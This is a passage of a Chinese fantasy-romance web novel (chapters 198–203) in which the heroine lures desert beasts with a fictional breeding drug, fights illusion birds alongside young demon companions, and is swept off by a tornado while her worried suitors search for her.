狼太灰贼兮兮地搭上她的肩,低头凑到她耳边,表情一下子变得神采飞扬。 “偷偷告诉你,我爹准备造反了。” “这妖域很快就是我们父子的,等风回雪给我洗脚的时候,我请你来看!” 豹冲听到这里,终于不赞同的开口,“少主,你怎么什么都说?” 狼太灰反驳,“那咋了?这不都知道的事?” 第 198 章 又来 “不过。”狼太灰话音一转,忽然有些忧伤,“我总觉得我爹不是当妖帝的料。” 搞偷袭,都能把自己的后腿摔断,养了两个月的伤。 这要造反,能成吗? 狼太灰难免有些忧心。 “还有,就算我爹造反成了,我觉得风回雪只会吐我一脸唾沫,绝对不可能给我洗脚。” 狼太灰说着,又开始嘟嘟囔囔的低声咒骂。 “说我脑子有病,我看他才是有病,捡了个人族的两脚兽,还将他的名字添进了谱牒,你说他戴绿帽子戴的咋就这么开心呢?” 江献晚愣了一下,脚步一缓,“他把行行添进谱牒了?” “对啊,是不是很有病?” “把一个人族添进九尾狐一族的谱牒,我怀疑他脑子里装的都是屎。” 屎·江献晚睫帘轻轻一颤,饱满的瓜子碎在指尖,唇瓣微动,“那这些妖能同意?” “不同意啊!妖都差点暴乱,那一日多少妖涌进妖都讨要说法,风回雪一口咬定那小娃娃是他生的。” “他把我们当傻子了?” “宁愿挨雷霆百鞭,四条腿差点给干瘸了,险些嗝屁,最后一抽风把他爹直接软禁了!大司命都没拦住,我真的是服了。” “昨天妖塔,妖帝八成也是自个偷跑出来的。” 不得不说,江献晚是有些懵的。 这些事风回雪从未跟她说过。 “妖域出了这么大的事,怎么一点没传出来?” 狼太灰撇撇嘴,“谁会传啊,这不是自己打自己的脸嘛。” “再说,等他以后娶了母狐狸生一窝小狐狸,未来妖帝还不知道是谁的。” 说到这里,狼太灰又在愤怒的扯帕子。 该死的狐狸,千万别娶到什么母狐狸,让他断子绝孙最好! 江献晚掐着指尖,再也吐露不出半个字。 添入谱牒意味着什么? 也就是说,不出意外,江行行将来会是继风回雪之后的下一任妖帝! 一个人族,做妖域的帝? 风回雪这一步,可谓是太疯了。 他这么玲珑剔透的一个妖,竟会在地位不稳,妖域内斗不断的情况下,做出这般不理智的事。 江献晚垂落半扇眼帘,卷翘的睫毛遮住眼底的复杂和暖色,“走吧,先干正事。” 豹冲:“……”你们还知道干正事啊! 运气不错,他们抓到了一只尖牙沙鼠,一通威逼利诱,打听到了地霸妖兽这几日活动的区域。 寻着沙鼠指的方向,行走半个时辰,细软灿黄的沙上出现了类似于犬的凌乱而模糊的爪印。 豹冲指了指远处几个微微隆起的包,有一点点绝望,“知道为什么叫它们地霸吗?” 狼太灰挤开他,“因为这种妖兽很难缠,很团结,智商高,警惕心强,总是将自己埋在沙下,是沙漠中的一霸。” “看到那些脚印和那几个包了吗?那些不仅是故意留下来挑衅天敌的,还是一种用来迷惑天敌的手段。” “这种妖毛发与沙漠颜色别无二致,卧沙的速度极快又轻,很难察觉,怕是还没靠近就跑了。” “又或者,你正在那里找它们的位置,脚下沙就已经被它们悄无声息的挖空,尤其是掉落的位置刚好有一窝什么毒虫毒蛇之类的。” 修为不高,智商来补,难缠。 之前有支小队猎杀这种妖兽,蹲了一日,还特意在附近放了许多地霸妖兽爱吃的猎物,结果愣是没看到一个地霸的影子。 气的将那一片区域炸的沙尘滚滚,结果还没走出沙漠,就被报复心极重的地霸拖进了深沙下。 躯干被毒虫毒蚁眨眼间分食,连半具枯骨都未能留下。 江献晚循着脚印转悠了片刻,抬眸眺望,忽见远处一个移动小白点正向他们这个方向疾速而来。 狼太灰眯起眼睛,见它的速度和头顶的角,有些失望,“是四眼妖羚。” 四眼妖羚有四目,四个蹄子跑的飞快,跟踩了风火轮似的,有着追风之称的地霸妖兽都要排在其后。 江献晚却道:“趴下!” 五个妖少年下意识趴了下去。 豹冲回过神,弱弱提醒,“我们好像要抓的是地霸。” “我知道啊。” 这片区域既然有地霸活动的痕迹,又有迷惑天敌的巢穴,应当可以尝试一下能不能将它们引出来。 狼太灰凑过来,小声道:“那抓它做什么?” “钓地霸。” 江献晚不紧不慢掏出一口锅,幸好这个沙丘阻挡了一些视线。 四眼羚速度很快,四蹄一蹬,就要从他们埋伏的沙丘跃过。 江献晚比它更快,一口大铁锅迅雷不及掩耳之势,快如闪电般闷了下去。 咚—— 豹冲似乎听到了一阵阵恐怖回声,揉着脸牙酸时,却见她掏出一瓶粉末,均匀的涂抹在了四眼妖羚身上。 狼太灰好奇地凑过来,“这是什么?” 江献晚不甚在意,悠然答他,“生崽崽的药啊。” “生、生崽崽?”又来! 被林玉锦支配的恐惧一下就上来了。 “可不可以……” “不可以。”江献晚语气平淡,“来都来了,所以,你们几个最好把嘴巴和鼻子都闭上。” 五个妖吓的将脖儿一缩,齐刷刷闭气。 昨个很多妖来不及回到自己的洞穴,只能就近随便找个草丛,颠鸾倒凤,不知天地所谓。 那造崽子的震撼一幕幕,连续不断地摧残着他们单纯而幼小的心灵。 他们还小呢!还不想生崽子! 狼太灰刚捂上口鼻,面露疑惑和不解,“你为什么不闭?” 江献晚淡定道:“因为我刚才吃过解药了。” 豹冲脱口而出,“那你怎么不给我们吃!” 后者一本正经,“我以为你们不想吃。” 五个妖激动道:“我想!” 听起来真的挺想的。 江献晚将解药分给他们,指尖一摁,又将四眼妖羚粗暴点醒,随即手臂一扬,轻盈的抛出几十米远。 方才的药不仅可以调动生物想要繁衍的本能,还掺了少许软筋散。 待味道散开,被其他妖兽闻到,相当于猫见了猫薄荷。 四眼妖羚将细沙蹬的扬起一片,努力站起,却又软绵绵的倒下,发出凄厉的惨叫。 江献晚他们耐心地趴在沙里,静静等待,同时留意着其他有可能会随时出现的妖兽。 第 199 章 上 短短片刻,四眼妖羚惊恐的惨叫声,已然带着一股火热有力的求偶音调。 伴随着甜腻奇异的香气,划破死寂的沙漠,向周围扩散。 五个年轻的妖少年,还没有这方面经验,听的面红耳赤,不约而同,夹紧自个的尾巴。 江献晚和林玉锦不愧是师兄妹,变态的不相上下。 强迫妖造小崽子罢了,又来欺负人家妖兽。 也不知道,他俩这种猖狂的流氓,走在路上会不会挨打。 恐怕不会。 他俩不嚯嚯别人就已经算是很有良心了。 退一万步,就算会。 这俩缺德玩意儿,肯定双眼放光,反手先把人家给卖了,还能怪人家不值钱。 江献晚丝毫不知自己的名声在妖域已然狼藉到一种令妖闻风丧胆的地步,看的那叫一个津津有味。 她就算知道,恐怕也会嗤之以鼻,再吐一口口水,反过头骂人家妖傻帽儿。 毕竟,他们南境小伙伴,刚来一天,跟妖都的妖,关系真就挺水深火热的。 一炷香后,一丝异常的细微的声响尤为明显。 狼太灰暗自扣上法器,却发现是一只灵巧的跳鼠。 正要打出一道妖力将它赶跑,江献晚摁下他的手,无声道:来了。 沙面隆起一个鼓包,而后一颗潦草的脑袋警惕地探了出来,颜色与黄沙别无二致。 若不仔细看,难以分辨。 至于长相,跟她以前在手机上看到的潦草小狗,没什么太大区别。 总而言之,都相当的潦草。 银背跳鼠圆嘟嘟的耳朵动了动,察觉到危险,即将到嘴的食物也不吃了,一溜烟地逃走,带起一道黄色的沙雾。 只是,跳着跳着,腾跃在半空的小身板,被一张悄然张开的血盆大口吞入腹部。 地霸妖兽果然很谨慎,脑袋探出了一瞬,便机警地缩回沙中。 不过,江献晚他们耐心更足。 几只潦草的地霸从不同隐蔽的位置,三百六十度无死角审视,探了二十八回头,整个身躯才警惕的从沙下钻出来。 四眼妖羚看到凭空出现的地霸妖兽,求偶的叫声跟着走调,求生欲的驱使下竟是挣扎着站起。 而此刻,那几只潦草地霸,在频繁露头时所吸入的药力,彻底发作。 追着四眼妖羚的屁股,追追停停,又想吃,又想要,陷入一种极端矛盾的状态。 藏匿在深沙下的地霸听到一阵阵急不可耐的求偶声,更是没一个能忍住。 由此可见,它们的自制力有多差,一点都经不起勾引。 接下来,一只,两只,三只…… 叫声越来越多,出来的地霸妖兽也越来越多,把被舔的一身口水,摔倒在沙上的四眼羚羊都给整懵了。 它估计这辈子都没见过如此奔放而又壮观的……造崽子的一幕。 四只眼睛,睁的大大的,那叫一个目不转睛。 五个妖少年根本不敢抬眼,羞的将脑袋扎进松软的沙土中,捂耳朵的动作倒是挺一致。 搞的江献晚这个唯一的女性,跟个女流氓似的。 好吧。 和狼太灰他们这几个傻乎乎的妖相比,她承认。 江献晚从头到尾,神色泰然自若,还能掏出一把瓜子,咔咔一顿嗑,十足流氓姿态。 见数量差不多了,一拍狼太灰的肩,“灰太狼,上!” 狼太灰根本没听出来不对,只听江献晚一声号令,狼耳一抖,身体反射性冲了出去。 待看到一大片正在做着原始运动的地霸妖兽,呆滞如鸡,立在原地。 随后,脸颊的红晕一路烧到了耳根。 结结巴巴道:“我、我也要上吗?” “能不能……不上?” 至少找个妖,而不是妖兽吧? 毕竟,妖和妖兽之间,有很大的区别。 江献晚:“……?”啥玩意儿? 不是。 这傻孩子想什么呢? 江献晚难得被他两句话给干沉默了,轻轻将瓜子放回手中,眼含深深地复杂,“如果我说……不能呢?” 他是不是脱了裤子就上了? 她虽然知道这小狼的智商堪忧,可这也太堪忧了吧? 反复刷新她的认知。 后爬起来的几个小伙伴纷纷一个趔趄,齐声激动道:“她没让你上它们!” “她说的是——上!” 狼太灰:“……!” 见江献晚无奈的摊开手,几个伙伴用一种暗含深意,而又带着些复杂之色的眼神望着他。 后知后觉,狼太灰小脸刷地通红,抖了抖狼耳,举着法器呲牙咧嘴地冲了过去。 还不忘补救似的证明自个的清白,大声狡辩,“用得着你们说!我当然知道她说的是上!” 再倒打一耙。 “你们这几个龌龊的妖!思想一点都不健康!” “下流!” 其他小伙伴:“……?”服了。 到底是谁不健康。 他那张三十六度的嘴,是怎么好意思说出这种冰冷无情的话的? 良心不会痛吗? 显然,狼太灰为了自己仅剩不多的脸面,选择短暂的出卖自己的良心,反咬他们一口。 豹冲刚才摔了一跤,吃了满嘴沙,见小伙伴们穿梭在一片叫声鼎沸的地霸中间,捂着眼,又是呸又是惨叫。 “啊啊啊,人家还是小孩子了。” “怎么可以叫人家上啊!” 江献晚优雅地翻了个白眼,毫不客气踹他一脚,“一米八大个的小孩子吗!” “快点!耽误我今晚睡觉,用你自个的尾巴偿还!” 她想吃狐狸了。 就今晚。 豹冲一听,连滚带爬,一头扎进地霸堆,“别!我现在就上!” 地霸妖兽望着五个从天而降的少年,又绝望,又很想要,半边身子想跑,另一半在火热征战。 那种滋味,一看就很奈斯。 没有任何悬念,它们在巨大的欢愉中,付出了惨痛的代价。 江献晚起身,拍了拍看傻了的四眼妖羚的脑瓜,“提米,你不走是有什么心事吗?” “要不要,上一下?” “来都来了。” 四眼妖羚:“……”上什么? 她还好意思说什么来都来了? 它是自己想来的吗? 不是她把它给一锅闷下来的吗? 谁才是有心事的那个! 这是人能干出的事? 四眼妖羚四个眼珠慢慢一滚,看着江献晚那张近在咫尺,微笑的脸,活似看到了逼良为娼的女变态。 咩地一声惊悚叫声,四条腿一蹬,转眼消失在天际。 它必须得回去通知大家: 沙漠里来了个女变态啊——! 第 200 章 插朋友两刀 女变态·江献晚收回眺望的手,清点过战利品,打算折返,远处忽然传来惊天动地的音爆声。 犹豫一瞬,观天色为时尚早,很有信心与树懒磨上半日,立刻来了看热闹的兴致。 “看看去?” 狼太灰他们也都是猫狗都烦,闲不住的年纪,当即举手赞成。 “沙漠这么大,我想去看看!” “我也想转转!” 一拍即合,他们很快摸到音爆声传出来的位置。 刚爬上沙丘,看清眼前的一幕,狼太灰兴致勃勃的表情倏尔一变。 十来头幻做本体的巨狼,像是失去心智,不分敌我,互相残杀。 哪怕拖着一截被掏出的肠子,都没有停手的意思。 造成这种局面的,正是盘旋在半空的两只元婴期幻鸟妖兽。 修为虽不是足够强,坏就坏在他们进入沙漠后,修为被压制了一大截。 这两只幻鸟又领悟出了领域,一只叫声可以迷幻人的心智,另一只叫声可以制造幻想。 再不阻止,这些同族恐怕都要死在这。 “走!”狼太灰瞳色一厉,低声冷喝。 江献晚随手扔给他几张蜘蛛网,“封闭耳识。” 豹冲等脚步一刹,忙封闭耳识。 江献晚悠然跟上,速度却眨眼越过五个妖少年,冲在了最前方。 一口锅下去,闷倒了一头狼。 狼太灰和豹冲抵着巨大的冲撞力,合力将蜘蛛网罩上一头双目赤红,利齿上还挂着血肉残屑的白狼,飞快打成死结。 他忙里抽闲看了江献晚一眼,心底淌出一股温暖的热流。 江献晚真的把他当做好朋友,帮助他救下他的同族。 有难同当,两肋插刀。 兀自感动地不知怎么是好,江献晚一脚蹬上他的背借力,冲向空中幻鸟,顺便将走神的他蹬醒。 狼太灰:“……”这算不算插朋友两刀? 江献晚似有所感,头也不回,“这个不算。” “最多只能算一刀。” 狼太灰:“……”对哦。好有道理。 对此,江献晚眼底划过一抹怜爱之色,脚尖点过另一个妖伙伴的脑袋。 哪怕修为被压制在金丹期,她身形依旧很快,像是不受影响。 灵力化作利刃,狠狠朝着幻妖的脖颈削去。 幻鸟险些被忽如其来的气刃割喉,在空中疾速调转,堪堪错身避开。 另一只幻鸟,当即仰颈唳啸一声。 这叫声直接冲开了他们的耳识,如指甲抓挠琉璃,刺耳异常。 正试图钳制住另一头狼的狼太灰他们一时不防,紧跟着陷入一种癫狂状态。 目露红光,不可控制的幻作本体。 江献晚此刻倒是安静下来。 她拎着锅静静站在原地,一瞬不瞬的盯着被挠了一爪子的银灰色巨狼,眼眸里藏着看不懂的情绪。 很快,便又收回视线。 被攻击的神识已有不稳的征兆,眼前浮现出风回雪在汤殿欺负她时的画面。 江献晚意识到走歪的思绪,指尖微动,灵力凝成气刃,面不改色的扎进肩膀。 趁着清明的功夫再次封闭耳识。 她在空中向后压身,躲开爆冲掠来的两只幻鸟,翻腕收起锅,挥袖将一个流转着银色星芒的轮盘脱手甩出。 余光瞥到被豹子一爪就要掏了心窝子的狼太灰,没有犹豫,反手打出一记悍然灵力。 那头油光水滑,吃的毛发锃亮的豹子,被这股力量掀翻,砸向另一头疯狼,两个抱作一团,滚进了黄沙之中。 江献晚操控星轮去攻击幻鸟,边留意几头厮杀在一起的狼,又是一道剑意,将一只幻鸟的翅膀尖削落一截。 “啧……又打歪了。” 她语气有些遗憾。 倒不是对自己能力的怀疑。 主要,风回雪啃她的一幕,实在太过于火热。 又可能因为幻鸟的叫声,导致她脑袋里都是风回雪的模样。 两只幻鸟像是看出了她最难缠,立刻改变策略。 商量好似的,一个再次朝她冲去,并用叫声吸引她的注意力。 另一只幻鸟忽然用力一振翅,在空中调转方向。 江献晚与幻鸟泛着冷芒的利爪擦身而过。 回身间带起一片羽毛,煞踏如流星,抬腿粗暴的踹开狼太灰,顺势一记回旋踢,将另一只幻鸟踢飞。 那掏狼太灰狼心的狼爪,掏进了她的肩胛骨,还抓挠了两下。 狼太灰倒在滚烫粗粝的沙上,眼里充斥着血雾。 他喘着粗气,四条腿踉跄爬起来,想掏给那个将他一脚踹翻的人族两脚兽一下。 敢踹他狼太灰小王,他必须得挠给她两爪。 银灰色巨狼,如是想,肉垫一张,伸出坚硬的利爪。 不知怎么,当爪子即将触碰到江献晚后心的刹那,整个躯体蓦然怔住。 他站在原地,一双兽瞳傻愣愣地望着似乎未曾发觉身后危险的江献晚。 江献晚半边肩膀的青衣被血染红,随手一记灵力将攀上高空的幻鸟击飞,右手一拳干翻一头狼,还能一脚将豹子踹的滚三滚。 一个激灵,陡然惊醒。 “江献晚!” 这一声淹没在狼啸和幻鸟陡然聒噪刺耳的叫声中,江献晚没有听清。 见一头矫健漂亮的银色巨狼,呲牙咧嘴,绕到她面前,朝她笔直扑来,长腿一抬,狠狠踹向其腹部。 再插给朋友一刀。 狼太灰:“……” 很快,江献晚发现了狼太灰变回了正常。 大尾巴狼学聪明了,没有再敢扑她,转头气势汹汹,一爪将豹冲拍昏过去。 那狠劲,江献晚差点又给他一脚。 江献晚连砸晕三头狼,见狼太灰勉强能抵挡,转头掠向还在作妖的幻鸟。 星轮再次悬浮于指尖,飞速转动,数道剑意流泻。 这次,准头没歪,很轻松干掉一只幻鸟。 一个帅气的姿势,避开另一只幻鸟的俯冲,单手跪地,这么一撑才发现肩膀疼的快要劈叉。 准备再干掉剩下这只时,狂风骤起,黄沙卷漫,天地忽然为之色变。 她看了一眼浑身弥漫着妖气的狼太灰,唇角抽搐。 修为被压制的情况下,小狼竟然突破瓶颈,渡了个劫。 特么还真是及时啊,敢不敢再早一点。 劫雷声可以将幻鸟的幻术轻易打破,另一只幻鸟被这突如其来的异象,打了个措手不及。 然而失去伴侣的愤怒,还是激发报复的血性,箭矢般朝江献晚再次俯冲。 一道紫色劫雷出现的刚好。 第 201 章 老紫想你了 小紫未见其人,只闻其声,下意识拐了个弯。 望着羽毛齐飞,惨叫冲天,光溜溜的一坨鸟,陷入深深的自我怀疑和惊悚。 江献晚这虎娘们怎么在这? 还有,它什么时候这么听江献晚的话了? 江献晚此刻也忍不住感叹她和小紫之间的孽缘,不浅。 淡定起身,弹去衣袖上的沙粒,继续发出指令,“再来一下。” “我要吃烤鸟翅。” 想到在客栈因天道授意,对着江献晚大劈狂劈,还给她扣了一盆屎。 小紫犹豫了片刻,立刻将正事丢在一旁,分成两条。 偷偷望了一眼天,粗壮的那条瞄准幻鸟,剩下头发丝粗细地一小缕,敷衍地瞄向狼太灰。 狗腿至极。 看在它这么听话的份上,江献晚怎么着也不能跟它算旧账了吧? 小紫一个蓄力,粗壮的雷电之力,气势汹汹地劈向那只凄厉嘶鸣的幻鸟。 紧接着,一股烤肉的香气飘散在空气中。 狼太灰望着那条细的快要瞅不见的一丝儿劫雷,哄孩子似的,将自己脚边的沙炸出一个坑,缓缓张大了嘴巴。 这也……太特么敷衍了吧! 谁家劫能渡成这样的? 小紫得意地扭了扭。 够不够? 够不够? 不够再来一道! 我电满格! 没想到在这里还能见到江献晚,小紫还是蛮开心的,翻了船的友谊重新扬帆。 将一人一电之间的恩怨,麻麻溜溜抛之脑后。 欢乐的扭成风骚而摇曳的波浪线。 “虎娘们!老紫想你了!” “你有没有想老紫?!” 江献晚:“……”它还有脸想她? 鸟呢? 鸟翅呢? 还有那些扣在她脑门上的屎呢! 随着一撮烟灰缓缓消散于天地之间,被幻力迷惑的众妖接二连三清醒过来。 豹冲:“谢谢!” 无痛而又飞速渡了个劫的狼太灰,手搭在耳朵上,“啥?” “谢谢!” “不是,你他妈说啥?能不能大点声!我听不见!” 豹冲嘴角一抽,张开血盆大口,用力喷他脸上,“我说,谢谢——!!!” “妈的!你他妈不会大点声!听不见!听不……” 狼太灰狂摇豹冲,看到他忽然双眼恐惧地看向他的背后,下意识扭头。 “卧槽!” 只见一根巨大的灰柱自云端猛然垂落,直直探向大地,倏忽之间便加快了速度,疯狂扭动起来。 风声转为嘶吼,继而变成尖啸,遮天蔽日的黄沙被卷到空中,形成巨大的黄色旋涡,自沙山之巅迅速移动。 如同剥开一层层薄纸,一路蛮横地向前推进,留下一片狼藉。 仿佛天地之间只剩下它贪婪咀嚼与吞咽之声。 方向,正是他们! “龙卷风!” 狼太灰暴喝一声,声音淹没在周围嘈杂的声音中。 世界仿佛正在崩溃,置身于混沌的末世,目之所及尽是高速旋转的黄沙,伴随着一股撕碎万物的毁灭气势。 江献晚神色微变。 这处沙漠的龙卷风似乎尤为狂暴,异象来的太过突然,跑显然来不及。 狼太灰急急拽了江献晚一把,“快!我们埋到沙下面!” 面对大自然的恐怖现象,此刻连金丹期的修士都显得格外渺小。 他们只能将希望寄托给运气。 江献晚当机立断掏出几口巨大的锅,声音急厉:“都钻进去!” 豹冲被这厉声一喝,反射性幻成本体钻了进去。 其他面色惨白,还来不及庆幸活下来的妖少年们,忙不迭跟着蜷缩成一团,纷纷钻进锅中。 似乎都没意识到,自个对江献晚竟有种天然的信任。 狼太灰死死攥紧江献晚的手腕,神色发急,将她直往锅里塞,“你先进去!” 江献晚看向最小的,仅能容纳一人的锅,不容分说,一脚将他踹翻,拎起锅扣上去。 她大力摁着锅,充耳不闻少年像是突然染上哭声的惊惶叫喊,挥袖打出一道灵力,将几口锅所有的阵法点亮。 眨眼间,几口锅消失在黄沙之中。 阵是二师兄刻的,光是叠加的阵法就有上百种,其中包括重力。 阵法启,锅表面会浮出一层薄薄的光罩,作为保护层。 那重力的阵法,足以将他们带到深沙之下的安全位置。 锅中氧气循环不息,内部消化,亦不必担心时间长了会缺氧。 待危险过去,自动浮出。 想到那各有用处的上百个阵法,江献晚并不担心。 做完这些不过十秒时间,她飞快地再掏出一口锅的时候,才发现这是一口……普通的锅。 底部还烂了一个洞。 小紫:“……” 江献晚:“……” 丸辣。 望着只来得及掐出一团护体光罩,被卷进漩涡中的江献晚,小紫一个哆嗦回神,嗖地一下,窜进了进去。 头晕,恶心,失重…… 强大的离心力与撕扯力,几乎要将人撕碎。 最绝望的是,春潮期来的还真特么掐时掐点。 江献晚来不及作出任何反应,还未散尽的护体灵力,在狂暴旋转的气流中,顷刻被绞的粉碎。 整个身体随着风暴内部,以极高的速度旋转、翻滚、上升和下降,意识一时有些混沌。 还有种骨骼即将断裂的错觉。 若不是气氛不对,江献晚都想为自个的运气鼓两下掌。 星轮感知到她的危险,数道剑意骤然翁地一声清吟,自成一圈牢固的防护罩,将她护在其中。 然而,灵力抽空,搅碎骨头般的恐怖力量撕扯下,江献晚依旧承受不住严重的眩晕,和灌入呼吸的大量尘土。 昏过去的那一刻,一条紫色的劫雷死死的缠上了她的腰,另一头疯狂乱甩,试图抓到一个牢固的东西。 江献晚在欣慰中,闭上了眼。 第 202 章 我是她江献晚的人 一只通体雪白的九尾狐,穿梭在漫天黄沙之中,留下几不可察的道道虚影。 龙卷风过去,天地间,满目黄沙漫漫,苍凉空寂。 任何活物留下的痕迹仿佛被一并抹去,找不到一丝生命的存在。 所有生存在这里的妖兽来不及庆幸危险已过,被一种无形的恐怖威压压的再次缩回巢穴中,肢体匍匐,瑟瑟发抖。 风回雪心急如焚,张望四周,爪子焦躁不安地刨了一下黄沙,继续急速向前。 很快,他发现了几个黑色的东西忽然从沙下浮出,速度再次提升到极致。 近了,更近了。 那是江献晚的锅! 风回雪心头狂跳不止,悬在嗓子眼的心,瞬间落到腹中。 “晚晚!” 他眼角泛红,长睫犹带着湿濡,像是被露水打湿的蝶。 一个狐扑,幻作人形,双腿竟是有些发软,踉跄着冲到锅前。 他了解江献晚的一切,很快找到机关,掀开一口锅。 风回雪微怔,眼底的温度刹那间冷了下来。 他声线冷沉,叫人听不出情绪,又仿佛压抑着强行克制的戾气。 “不是。” 又掀起一口。 艰难的忍耐,使得那双熔岩流金般的狐狸眸,扭曲几道割裂的血色,喉结因剧烈滚动,气息粗重,开始发疼发涩。 他死死盯着眼前的锅,快要殆尽的温度被掩藏在乌沉沉的眸底,支离破碎。 “不是……” “没有……” “还是没有……” “滚!” 风回雪眼底最后一丝晴霁消失殆尽,那张总是带着魅惑之色的脸一寸寸的剥白,如同上好的薄胎白瓷,轻轻一碰,就会破碎。 他踉跄地走到最后一口最小的锅面前,江献晚跟他说过,以后江行行可以用这口锅给他们做饭。 风回雪满目殷红,一双充斥着雾气的狐狸眸几乎是执拗般,露着凶狠幽光。 扑通跪在松软的黄沙之中,颤抖着手猛地将最后一口锅掀开。 有什么东西悄然碎掉。 风回雪盯着蜷缩成一团的银灰色巨狼,指节缓缓蜷起,手背青色脉络根根突浮。 声线似乎依旧很平淡。 “她呢?” 狼太灰扫过周围,本就苍白的面庞,霎时失去所有血色。 “她?” “砰!” 沉闷的重击,风回雪绝美的五官一瞬间破碎,以至于有些扭曲狰狞。 一拳砸在狼太灰脑袋上,嘶声怒吼,“她呢!” 狼太灰没说话,血液模糊视线,掠过面色苍白的豹冲,一一看去。 江献晚不在其中。 他眼睛一下湿润,年轻的面庞上滚落两行泪水。 许久,哽咽着开口,“不知道。” “不知道?” 这一拳是林玉锦砸的,素日里嘻嘻哈哈的少年眼睛红的骇人,青色发带绞着乌发散落肩头,狼狈的模样,不比风回雪好到哪里去。 林玉锦又是一拳狠狠砸下,连声怒吼。 “她呢!我问你她呢!” “她呢!我小师妹呢!” “你还我小师妹!” 狼太灰慢慢蜷缩在一起,嘴角破裂,口中血腥蔓延,一呼一吸,宛如剥皮抽筋。 可这些都不足以让他疼痛。 他忽然抱着头,呜咽哭出声,眼角的泪顺着面颊一滴一滴落在黄沙中。 “不知道……” “她为了救……救我……” “她为了救我……” 那龙卷风足以瞬间绞碎金丹期的修士,而江献晚的修为被压制在金丹。 只怕被卷进龙卷风的那一刻,便…… “她为了我受伤……肩膀被掏碎了……为了我们放弃活下来的机会……” 林玉锦猛地推开他,跌跌撞撞的爬起来,胡乱的自我安慰。 “不对,一定是没有找到。” 他赶忙用袖子抹了一把脸,看的很仔细。 “一、二、三……” 随着颤抖嘶哑的声线,狼太灰只觉一记又一记的闷棍敲在他头顶,视线随之模糊。 “七。” 数到最后,林玉锦的眼神有些空洞,仿佛失去焦距,周围一切变得模糊不清。 “她买了十一个……分出去四个。” “我,花美人,大师兄,二师兄……” 狼太灰根本无从想风回雪为何忽然喊林玉锦小师兄,为何喊他的朋友晚晚,视线彻底模糊。 —— 妖都。 风回雪抬手把林玉锦手里的玉简摁了回去,“小师兄,你先别激动。” 人还没死,怎么报起丧来了! 林玉锦眼尾挂着潮湿的薄红,冷冷推开他的手,“别激动?我小师妹丢了,生死未卜!我怎么可能不激动!” 说到最后,他几乎是吼了出来。 风回雪对上少年充红的眼睛,心虚地轻咳一声,“我不是这个意思,小师兄,那个……晚晚好像没事。” “我与她之间有灵契。” “她没事!真的!” 林玉锦:“……”草! “你特么不早说!” 林玉锦激动地攥住他的衣领,喷他脸上。 就说,他小师妹福大命大,最多混个骨折什么的,怎么可能说死就死。 绷紧的弦骤然一松,林玉锦软塌塌的跌跪下去,后知后觉,才发现后背出了一层冷汗。 他眼睛里充斥着一种劫后余生的泪花,愤怒指责。 “那你方才那么伤心干嘛!” 害的他也跟着慌了神。 风回雪脸一红,哪里还有方才那种令人心惊肉跳的暴戾绝望之色,讪讪摸了摸鼻尖,“我、我当时太紧张了,没想起来。” “滚!赶紧找去!” “找不到我是不会承认你这个妹夫的!” 风回雪被一脚踹出院子,脑袋抵在墙壁,又是开心又是担心。 开心的是江献晚暂时没有性命之忧,和林玉锦的认可。 担心的是江献晚人在哪里,受了多重的伤,和怎么安抚行行。 他心中焦急如焚,却在抬眸看见少年的那一刻,神色变得格外阴沉。 “滚!好狗不挡道!” 狼太灰没有再像从前呲牙咧嘴的跳脚,泼妇似的骂街。 目光空洞,嗓音嘶哑。 “你杀了我吧。” 风回雪用一种你有病的目光看他。 “是我害了她……我对不起她……” 风回雪:“……” 这狗东西嘴里还能说出对不起这三个字? 不是,他什么时候这么有觉悟了? 想到江献晚因他受了伤,如今又下落不明。 风回雪上前薅住他的衣领,太过气怒,浑然不知喊错了他的名字。 “灰太狼!你最好祈祷上天保佑!她若是出事,我定然将你千刀万剐抽筋拔骨!” 狼太灰垂下脑袋,红着眼眶,任由风回雪将他推搡的撞在墙上。 风回雪看了一眼失魂落魄,仿佛只剩下躯壳的少年,大步离开。 “你和她什么关系?” 身后,传来少年苦涩的声音。 风回雪脚步稍顿,转身,对上一双湿润红肿的眼睛。 “什么关系?” 他唇角勾起,轻轻重复了一遍。 绝滟风华的眉眼,奇异的笼上一层罕见的温柔,嗓音带着几分傲然。 “我是她江献晚的人。” “你说,我们是什么关系?” 他不要藏着掖着了。 他是江献晚的,他所有的一切都是江献晚的。 南北两境知晓如何? 三域知晓又如何? “我不会说出去的。” 风回雪离开时,听到了这么一句,轻的似风,消失在耳畔。 他并没有放在心上。 无所谓。 第 203 章 遇到了一个色魔 江献晚是被热醒的,骨头里像是被无数只小虫子啃噬般,无不昭示着她依旧处在蚀骨难耐的春潮期。 她忍着肺腑似乎都在隐隐作痛的煎熬,瞪着唇角要笑烂的少年,足足两分钟。 小紫跟个蛆似地在她腿上缠来缠去:你醒了!你特么终于醒了!你知道这一路我是怎么过来的吗?! 它和江献晚被卷到很远的地方,顺着湍急的暗河一路疾冲而下。 在它缠了无数乱七八糟的东西后,眼疾手快缠上了一个……少年。 江献晚摁住扭成麻花的劫雷,唇角微不可察的抽动了一下。 她好像……遇到了一个色魔。 这个色魔,呃…… 面若桃瓣,眸若灿星,肌肤若雪,五官明艳,漂亮的不可思议。 白色的中衣,衣襟大敞,衣带松垮的系在腰间,露出一痕线条性感而性张力十足的腰腹,长发散开却不失凌乱,平添了几分邪魅之色。 一双手臂虚环着她,大狗似的将脑瓜直往她颈窝拱。 三分委屈,十分欣喜若狂,嗓音也似染上难以自持的哭腔。 “晚晚,我就知道你心里是有我的。” “你把哥哥扔了来找我,是不是因为太想我了?” 江献晚:“……” 这么骚,还这么浪的,不是非翎,还能有谁? 江献晚脸色有些僵硬,又被他蹭的浑身起火,强撑着一点力气,推开他的胳膊。 沉吟片刻。 “是你……给我擦的药?” 非翎唇角弧度倏然加深,饱满的几乎要盛不住满溢出来的欣悦,明艳的上扬。 再次如水蛇般悄无声息缠上她的腰肢,喜不自禁的轻轻一晃。 连带着腿上的江献晚跟着晃。 甜甜道:“对啊。” 江献晚眼角余光瞥过身上的一片衣料,又是沉默半晌。 “那……也是你给我换的衣裳?” 非翎挑起半扇浓密的睫帘,迎上她似乎很平静的目光,羞涩地一点头。 视线便不自觉的落在因衣袍滑落,露出的那一片细腻雪白的肩颈。 宽大的外袍,衣领难免敞开些,春色如许,宛如再上好不过的莹白脂膏,在眼皮子下展开一角活色生香的画卷。 他眸光微暗,呼吸放的极轻,顺着凌乱的衣领,情不自禁落入深处。 非翎猛地闭了闭眼,强挪开视线,嗓音甜腻,心疼的唇也嘟了起来。 “你骨头都碎了,我就把你衣裳扒了,擦了药,还疼吗?我再看看。” “你不是去妖域了吗?” “哥哥怎么连照顾你这点小事都做不好?” “还是你和哥哥吵架了?” 